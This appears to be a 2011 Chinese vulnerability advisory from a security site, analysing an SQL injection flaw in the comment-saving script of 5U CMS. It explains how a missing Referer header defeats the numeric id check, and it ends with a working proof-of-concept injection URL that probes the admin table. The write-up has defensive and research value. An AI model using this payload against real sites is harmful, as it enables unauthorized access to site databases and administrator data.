首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
5U CMS v1.2.2024 SQL注入漏洞
来源:vfocus.net 作者:asmc 发布时间:2011-03-07  

最近在测试一个网站时,提交/admin/,浏览器闪现了"无忧网络管理系统",GOOGLE搜索下载了一份最新版的源代码,发现问题如下:

文件..\plus\comment\save.asp

23行:Dim Comment_Aid,Comment_User,Comment_Content

24行:Comment_Aid = Request("id")

此外部提交的id值会被插入SQL语句中如下:

55行:Set Ns = DB("Select [ID],[Cid],[Comments],[IsComment] From [{pre}Content] Where [ID]=" & Comment_Aid,3)

24到55行之间开发人员加了伪过滤代码如下:

44行:if Len(Comment_Aid) = 0 Or Not IsNumeric(Comment_Aid) Then Call Alert(Plus.Lang("iderr"),Gourl)

45I行:f Len(Comment_User) < 2 Then Comment_User = "Guest"

46行:If Len(Comment_Content) < Plus.Config("contentmin") Then Call Alert(replace(Plus.Lang("contentmin"),"$1",Plus.Config("contentmin")),Gourl)

44行的要求是id必须有值,且必须是数字型,否则将会调用Alert(),搜索该函数如下:

文件..\inc\function.asp

193行: function Alert(byval Msgstr,byval Url)

if len(Url) > 0 then

on error resume next

if Isobject(conn) then conn.close ' 关闭数据库链接

if len(Msgstr) > 0 then response.write "<Script>alert('" & Msgstr & "');</Script>" ' 提示

response.write "<Script>location.href='" & Url & "';</Script>" ' 跳转

response.end

else

if len(Msgstr) > 0 then response.write "<Script>alert('" & Msgstr & "');</Script>" ' 提示

end if

end function

该函数里是一个嵌套的if结构,如果Url为空,那么执行else之后的代码:

if len(Msgstr) > 0 then response.write "<Script>alert('" & Msgstr & "');</Script>" ' 提示

此语句仅仅打印了错误信息,并没有执行response.end,所以导致Alert()对id的数据类型检测失败,,,最终导致了SQL注入的发生

那么Url这个关键的跳转变量怎么来的呢,回去看save.asp文件

9行:Dim Gourl : Gourl = Request.ServerVariables("HTTP_REFERER")

这个就是罪魁祸首了,以下内容摘自网络:

“asp中Request.ServerVariables("HTTP_REFERER")可以取得来源地址。
以下情况可以取得值:
1.直接用<a href>
2.用Submit或<input type=image>提交的表单(POST or GET)
3.使用Jscript提交的表单(POST or GET)
以下情况不能取得值:
1.从收藏夹链接
2.单击'主页'或者自定义的地址
3.利用Jscript的location.href or location.replace()
4.在浏览器直接输入地址
5.<%Response.Redirect%>
6.<%Response.AddHeader%>或<meta http-equiv=refresh>转向
7.用XML加载地址 ”
在上面不可取值的第4条中,说明了,直接构造的该访问路径,使得Gourl 为空

测试:
(access 数据库)http://www.xxxx.com/plus/comment/save.asp?user=test&content=aaaaaa&id=1 and 0<>(select count(*) from 5U_Admin)

作者: asmc



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·DISCUZ X1.5 本地文件包含漏洞
·boblog任意变量覆盖漏洞(二)
·FeiXun企业网站管理系统 v2011
·DedeCms v5.6 嵌入恶意代码执行
·discuz 7.2的漏洞及修复方法
·建站之星SiteStar V2.0 上传漏洞
·boblog任意变量覆盖漏洞
·入侵网站的经验
·plesk panel 虚拟主机管理平台 0
·皮皮播放器ActiveX控件 PlayURL
·Discuz!后台拿Webshell 0day
·皮皮播放器ActiveX控件PlayURLWi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved